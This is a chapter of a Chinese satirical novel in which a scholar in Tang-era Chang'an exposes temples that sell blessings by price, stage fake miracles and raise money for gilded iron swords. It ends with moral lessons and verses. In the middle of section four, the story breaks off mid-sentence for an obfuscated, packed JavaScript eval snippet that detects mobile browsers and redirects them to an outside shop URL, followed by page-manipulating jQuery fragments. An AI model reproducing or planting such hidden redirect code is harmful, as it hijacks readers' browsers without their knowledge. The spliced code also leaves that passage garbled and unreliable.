楔子炉香价高


    太平七年六月六，长安城北崔府君庙的香炉，天不亮就烫手了。


    不是香火旺，是有人用炭盆在炉底下煨着——为让头炉香的“热气”能卖个好价钱。管香火的道士玄真，法号听着清高，打算盘的手势却比账房还利落。他在香炉前三步处划了道朱砂线，线前摆三个蒲团：


    头炉香，金十两，保官运亨通；


    二炉香，银五两，保家宅平安；


    三炉香，铜三贯，保子嗣昌隆。


    卯时三刻，庙门一开，香客如潮。头一个冲进来的，是户部度支司员外郎刘守财。他捧着个锦盒，盒开，金灿灿十两元宝，往功德箱一扔，抓起三柱胳膊粗的高香，就要往炉里插。


    “慢着！”玄真拂尘一拦，“刘员外，您这是求什么？”


    “求…求升迁！”刘守财喘着粗气，“下月考课，听说右侍郎位子空出来了…”


    “哦。”玄真捻须，“那这香，得换个插法。您得面朝东南——崔府君当年是从东南方飞升的，朝那个方向，心意才到。”


    刘守财忙转身。玄真又拦住：“且慢！还得念咒。来，跟着贫道念：‘府君明鉴，信士刘守财，愿以十年阳寿，换一个侍郎位…’”


    “十年阳寿？！”刘守财手一抖。


    “舍不得？”玄真眯眼，“那五年也成。府君大度，讨价还价也是可以的。”


    刘守财咬牙：“五年就五年！”


    “好嘞！”玄真朝后喊，“童儿，记上——刘员外捐金十两，阳寿五年，求侍郎位！”


    小道士捧出本“功德簿”，朱笔记下。刘守财这才颤巍巍插上香，拜了三拜。起来时，脸色煞白，不知是熏的还是吓的。


    后面排着队的香客，个个伸脖瞪眼。有商人捧银求财，玄真说“得加三年寿”；有老妇捧铜钱求孙，玄真说“得减一纪福”。价码随口开，童儿埋头记，功德簿越写越厚，厚得像本卖身契。


    日上三竿时，来了个布衣书生，名唤独孤明。此人三十许，面容清癯，背个青布书囊，站在人堆外冷眼看着。等刘守财拜完出来，他踱过去，作了一揖：


    “刘员外，学生有一事不明，想请教。”


    刘守财正心疼那五年阳寿，没好气道：“讲！”


    “学生读《太平广记》，说崔府君生前为官清廉，死后成神，最恨贪贿。今日这庙里，明码标价卖香火，与市井何异？府君若有灵，是该喜，还是该怒？”


    刘守财一愣。旁边香客听见，也窃窃私语。


    玄真在殿内听见，疾步出来，拂尘一指：“哪来的狂生，谤神辱道？！”


    独孤明不慌不忙，又作一揖：“道长息怒。学生只是好奇——府君既已成神，超脱生死，要人间金银何用？要信众阳寿何用？”


    “这…”玄真语塞，旋即冷笑，“此乃供奉，表诚心耳！若无诚心，求什么应什么？”


    “诚心在金银多寡？在阳寿长短？”独孤明从书囊中掏出本《崔府君异政录》，翻到一页，“府君生前断案，有富商贿金百两求胜诉，府君掷金于地，曰：‘法无价，岂金银可沽？’今日这道场，倒像是把府君当年掷掉的金子，又一块块捡回来了。”


    众香客哗然。玄真涨红脸，强辩道：“此一时彼一时！如今修庙塑金身，哪样不要钱？尔等只知求神，不知养神，岂非忘恩负义？”


    独孤明笑了：“道长说得是。只是学生愚见，神若需人养，还算什么神？庙若需金饰，与勾栏瓦舍何异？”


    他转身，对众香客朗声道：“诸位，神在心中，不在庙中；诚在行善，不在烧香。今日你们捐的金银、许的阳寿，若真能到神前，神会不会叹一句——‘吾当年掷金拒贿，原是为今日价更高’？”


    言罢，拱手一礼，飘然而去。


    留下满庙香客，面面相觑。刘守财忽然捶胸：“我的五年阳寿啊…”


    玄真急喝：“休听狂生胡言！头炉香已烧，府君已知…”


    “知什么？”刘守财瞪眼，“知我花了十两金、五年寿，买个不知能不能到手的侍郎位？”


    他一把抢过功德簿，撕个粉碎。香客见状，纷纷讨还金银。场面大乱。


    玄真站在香炉旁，炉火映着他铁青的脸。他盯着独孤明离去的方向，咬牙道：“六月二十四，二郎神诞…咱们等着瞧。”


    二、 戏法神工


    六月二十四，灌口二郎神诞，比崔府君生日热闹十倍。


    神保观在城西万胜门外，本是前朝旧观，近年御赐重修，金碧辉煌。二十三日起，宫里就送来戏玩百物：金丝球杖、玉靶弹弓、象牙弋射具，乃至整副的鎏金马鞍、珍珠樊笼…说是“与民同乐”，实则炫富。


    最奇的是殿前两座幡竿，高十丈，竿顶横木上，日夜有“神人”表演：吐火、吞剑、履刀山。百姓仰头看，脖子酸了，就低头往功德箱里扔钱——扔得越多，“神人”演得越险。


    独孤明这日也来了，混在人群里。他不上香，只看，看了一个时辰，忽然笑了。


    身旁老汉问：“先生笑什么？”


    “我笑这戏法精彩。”独孤明指幡竿，“老汉您看，那吐火的，火从口中出，可曾烧了胡须？那履刀的，脚踩刀刃，可曾见血？”


    老汉眯眼细看：“咦…是有些怪。”


    “不怪。”独孤明道，“火是松香粉，遇风自燃，看似从口出，实从袖喷。刀是钝铁刷银粉，踩上去吱呀响，却伤不了人。这是江湖戏法，不是神通。”


    正说着，观主玉阳子登台了。这道士五十许，面如冠玉，声若洪钟，先颂二郎神治水功德，忽话锋一转：


    “今岁渭水泛滥，淹田千顷，皆因孽龙作祟！贫道昨夜得神谕，需铸‘镇水剑’一柄，长九尺，重九九八十一斤，纯金为体，宝石嵌目，方可镇龙！”


    台下哗然。金剑，那得多少金子？


    玉阳子击掌，四个道士抬上个木箱，箱开，里头是把金光闪闪的铜剑——外头刷了金漆。他捧剑高呼：“此乃剑胚！需信众捐金附灵，方成神兵！捐一钱，刻一名于剑穗；捐一两，刻于剑格；捐十两…刻于剑身，与神同在！”


    香客沸腾。有商人喊：“我捐二十两！刻大名！”


    “我捐五十两！”


    “我捐…”


    独孤明摇头，挤出人群，走到观后工棚。棚里热火朝天，几个工匠正在铸剑——是普通的铁剑，刷上金漆，就是“镇水剑胚”。旁边堆着几十把“旧镇水剑”，剑身刻满名字，锈迹斑斑。


    管工棚的老匠人见生人来，忙拦：“此处禁地！”


    独孤明递过几个铜钱：“老丈，学生好奇，这剑…真能镇水？”


    老匠人四下看看，低声道：“镇什么水！去年铸了七把，今年渭水不照样淹？观主说，是捐金不够，得再铸。其实…”他指指后院，“铸好了，都堆那儿，一场法事抬出来晃一晃，完事扔回去。金漆剥了再刷，名字刮了再刻。一本万利。”


    “那幡竿上的神人…”


    “都是江湖艺人，一日五百文，比走街串巷强。”老匠人叹气，“这哪是道观，是戏园子，是…卖名簿的铺子。”


    正说着，外头锣鼓喧天。玉阳子登台“开光”，将新铸的“镇水剑”舞得呼呼生风，忽然剑尖一指渭河方向，大喝：“孽龙！还不伏法？！”


    恰此时，一阵风吹过，幡竿上“神人”正吐火，火星溅到剑身的金漆上——金漆是油调的，见火就着。玉阳子手中剑，顿时成了火把。


    “神迹！神迹啊！”台下香客惊呼，纷纷下拜。


    玉阳子脸都绿了，强作镇定：“此乃…此乃神火炼剑！大家来看，凡金脱落，真金现世！”


    他猛甩剑，想把火甩灭，谁知用力过猛，剑脱手飞出，正扎在功德箱上。箱是薄木板，应声而裂，里头铜钱银锭，哗啦啦洒了一地。


    香客愣住。玉阳子也愣住。


    独孤明在人群后，悠悠道：“道长，神火炼剑，炼出个破财箱。这是二郎神示警——嫌诸位捐得少，要亲自来取么？”


    哄笑声起。玉阳子狼狈拾剑，剑上金漆已烧秃大半，露出黑黢黢的铁胎。有眼尖的香客叫：“咦？这剑…是铁的？！”


    “铁剑刷金，就敢要十两金？”


    “退钱！退钱！”


    场面又乱了。玉阳子恨恨瞪向独孤明，独孤明却已转身，踱出观门。


    门外夕阳正好，照得渭水波光粼粼。几个渔夫正在补网，见他出来，笑道：“先生今日又拆台了？”


    独孤明摆摆手：“拆不了。今日拆了明日建，这戏，唱不完的。”


    他沿河而行，见岸边新淹的稻田，秧苗烂在水里，农人蹲田埂上哭。


    神保观里的锣鼓声，隐隐约约飘过来，喜气洋洋。


    三、 神价几何


    三日后，独孤明被“请”到长安府衙。


    府尹姓张，是刘守财的姐夫。他拍着案上两本账册——一本是崔府君庙的“功德簿”残页，一本是神保观的“捐金录”，冷着脸：


    “独孤明，你三番两次扰闹神诞，谤神辱道，该当何罪？”


    独孤明长揖：“学生愚钝，不知罪在何处。”


    “你还狡辩！”张府尹抖着账册，“就因你胡言，崔府君庙六月六日，香火钱少了七成！神保观二十四日，捐金少了六成！这损失的功德，你担得起么？”


    “原来府尹在乎的是功德钱。”独孤明点头，“那学生倒要请教——功德是钱，还是行？若捐钱便是功德，那贪官污吏，大可贪了捐，捐了贪，循环往复，岂非功德无量？”


    “放肆！”


    “学生不敢。”独孤明从容道，“只是读史书，见崔府君生前，有富户贿金求免罪，府君曰：‘尔金可买官，不可买法。’今其庙中，明码标价卖香火，是买法，还是买神？若府君有灵，见此景，当作何想？”


    张府尹语塞。师爷在旁阴声道：“独孤先生倒是清高。可修庙塑像、养道供神，哪样不要钱？若无香火，神何以存？道何以传？”


    “神在人心，道在自然，何需金塑银供？”独孤明道，“学生这几日，走了长安七十二道观。见三清殿金碧辉煌，老君像缀珠嵌玉，可殿后菜园荒芜，藏经阁漏雨。道士们忙着做法事、收供养，没空种菜，没空修书。这修的，是道，还是…生意？”


    他自袖中取出一卷纸：“此乃学生抄录的‘神价单’，请府尹过目。”


    纸展开，列着：


    崔府君庙：


    头炉香，十两金（保官运）


    解冤法事，二十两（消业障）


    托梦问卜，五两（得神谕）


    刻名长生牌，一两/年（续阳寿）


    神保观：


    镇水剑留名，十两起（避水患）


    请二郎符，三两（镇宅）


    过火坑，一两（祛病）


    摸神驹，五百文（得神力）


    林林总总，四十七项，明码标价。


    张府尹看得额头冒汗。师爷强辩：“此乃…此乃信众自愿供奉！”


    “自愿？”独孤明笑，“若学生今日在衙门外贴张告示，说‘捐十两金，保不坐牢’，可有人捐？捐了，府尹收不收？若收，与庙里卖香火何异？若不收，为何容道士收？”


    “这…这是两码事！”


    “是一码事。”独孤明正色，“神权法权，皆是权。权若可买卖，世道必乱。今日道士卖神佑，明日术士卖天命，后日…会不会有人卖‘真龙血统’‘天命所归’？”


    张府尹手中茶盏，啪地落地。


    独孤明深揖：“学生言尽于此。府尹若觉学生谤神，可治罪；若觉有理…还请看看长安城外，那些被渭水淹了田、却凑不出一钱香火钱的百姓。他们的命，他们的苦，神看不见，庙看不见，官府…该看见。”


    言罢，转身出衙。背影挺直，如剑如枪。


    张府尹呆坐良久，对师爷道：“那两本账册…烧了。”


    “那庙里…”


    “让他们收敛些。”张府尹望向窗外，夕阳如血，“这独孤明…是个镜子。照得人，睁不开眼。”


    四、 泥马渡金


    七月，渭水又泛。朝廷拨赈灾银三十万两，过手一层层盘剥，到灾民手里，只剩粥一碗。


    灾民聚在神保观外，求二郎神显灵。玉阳子登台，又搬出“镇水剑”，说要再铸一把“真金剑”，需捐金百两。


    灾民中，独孤明排众而出，朗声道：“道长，学生有一问。”


    玉阳子见是他，脸一沉：“又是你！”


    “学生想问，二郎神当年治水，靠的是什么？是金剑，还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088169|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是人心？”


    “自是…自是神威！”


    “神威在何处？”独孤明指灾民，“在这些人饿瘪的肚子里？在破庙烂泥中？道长若有神通，何不先治眼前的水，再谈铸剑？”


    玉阳子恼羞成怒：“你懂什么！此乃天灾，非人力可抗！需以金剑通神，方得神助！”


    “哦。”独孤明点头，“那学生再问——道长可知‘泥马渡康王’的典故？”


    众人都怔。这典故说的是崔府君显灵，泥马渡康王过江，保其登基。


    “知道又如何？”


    “学生想，泥马可渡王，为何不能渡民？”独孤明从怀中掏出块泥巴，三捏两捏，捏成个小马，摆在观前石阶上，“今日，学生也学府君，捏泥马渡灾民。各位——”


    他环视灾民：“谁愿信这泥马，就信。不信，就看看这道观——金顶玉阶，却渡不了一人出苦海。神在哪里？在泥马里，还是在金殿上？”


    灾民沉默。忽然，一老妪颤巍巍上前，对泥马拜了拜：“我信…我信泥马，能渡我孙儿不饿死。”


    她放下一文钱——全身最后的一文。


    接着，有老汉放半块饼，有妇人放缕头发…石阶上，泥马前，堆起座小小的“供奉”，寒酸，却沉甸甸。


    玉阳子脸色铁青。观里那尊金身二郎神像，在香火中静静看着，眉眼模糊。


    独孤明对玉阳子长揖：“道长，你看，神不在金剑，在人心；道不在高台，在泥土。今日这泥马，收一文钱，渡一个人心。比那把十万金的‘镇水剑’，哪个更像神迹？”


    他转身，对灾民道：“诸位，灾要救，靠人，不靠神。官府粥棚在城南，虽稀，能活命。有气力的，随我去领粥、修堤。没气力的，在此歇着——但记住，拜神不如拜自己，求人不如求己。”


    他率先往城南走。灾民沉默片刻，有人跟上，一个，两个…渐渐成行。


    玉阳子独立高台，台下空无一人。只有那尊泥马，在夕阳下，影子拉得老长，像在笑。


    尾声金身泥胎


    八月，崔府君庙的香炉，不知被谁砸了个窟窿。玄真说是“天雷劈的”，可那窟窿边缘整齐，分明是铁锤砸的。


    九月，神保观的“镇水剑”生锈，金漆剥落，露出底下刻的密密麻麻的名字——最早的名字，是五十年前的。原来这把剑，已“镇”了五十年水，越镇水越大。


    十月，独孤明离了长安，云游去了。走前，在城门口茶摊，听茶客议论：


    “听说了么？崔府君庙那头炉香，降价了——五两就成。”


    “神保观那镇水剑，也不说要金了，捐三文就能刻名。”


    “嘿，这是良心发现了？”


    “发现什么呀！是没人信了！前几日渭水退，是官府征民夫挖的渠，关神屁事！”


    独孤明笑了笑，丢下茶钱，背起行囊。摊主问：“先生去哪儿？”


    “往南，听说那边有座小庙，庙里没金身，只有个老道，会看病，不收钱。”


    “那有什么看头？”


    “有真看头。”独孤明摆摆手，走入秋色。


    他走后，长安的道观，悄悄刮去些金漆，撤了些价牌。有道士开始学医，有庙宇开始施粥——倒不是真悟了，是香客精明了，不弄点真的，骗不到钱了。


    腊月，大雪。崔府君庙那尊贴金像，被雪压塌了半边。玄真这回没重修，就用泥补了补，补得歪歪扭扭，像道疮疤。


    有文人题诗于壁：


    “金身原是泥胎，


    何必脂粉重施？


    一朝风雪洗净，


    方见本来面目。”


    诗传开，各庙的金身，都显得有些尴尬。在烛火里，金光闪闪，却总像戴着面具。


    而城南那小庙里，独孤明正帮老道捣药。庙小，佛也小，是木雕的，漆都掉光了。可来上香的，多是穷人，放一把米，磕个头，说些家长里短。


    老道问：“听说你在长安，拆了不少台？”


    “没拆。”独孤明捣着药，“只是说了些实话。”


    “实话伤人。”


    “伤的是假，真的，伤不着。”他抬头，看庙外飞雪，“神不在高处，在低处；道不在金里，在泥里。这话，总得有人说。”


    老道笑了，递过碗热粥：“喝吧，泥里的道。”


    独孤明接过，粥烫，暖手。


    庙外，雪落无声。远处长安城的灯火，在雪雾中朦胧一片，分不清哪是道观，哪是人家。


    唯这碗粥，是实在的。


    唯这泥胎神像的笑，是慈悲的。


    虽然那笑，是木刻的，不会变。


    本章诫世


    一、 神诞标价之诈


    - 将信仰节日彻底商业化，神佑按价分级


    - 破解法：凡见“神明明码标价”，必是生意；凡闻“捐多灵验”，当思灵验在何处


    - 示例：头炉香竞拍、阳寿抵功德、镇水剑集资


    二、 戏法神通之伪


    - 以江湖杂耍冒充神迹，以工匠之作充“通灵法器”


    - 惕世：当宗教仪式成为表演，虔诚便成门票；当神迹可以彩排，信仰便成戏票


    - 反思：民俗狂欢与精神欺骗的模糊边界


    三、 泥马金剑之照


    - 泥马渡民的象征，对照金剑镇水的虚妄


    - 深层隐喻：真信仰在泥土中，伪信仰在金光里


    - 终极质问：渡人的是泥马，还是金剑？是神，还是人心？


    神诞偈：


    六月六日香火稠，二十四日戏未休。


    金剑何曾镇水患，泥马或可渡人愁。


    莫道神前功德簿，无非世上贪婪筹。


    但看雪压金身裂，方知泥胎最长久。


    后世叹：


    太平七年事可嗟，神诞日作贾生涯。


    一炉香火十年寿，百两金铜数寸瑕。


    幡竿戏法充灵异，泥马渡心胜銮车。


    莫道长安无慧眼，独孤明后雪覆纱。


    正是：


    六月神诞闹未休，长安城内价如流。


    炉分三等香分价，剑镀重金漆镀忧。


    岂知泥马能渡厄，谁见金身真解愁？


    莫道痴愚皆信众，雪压幡竿也低头。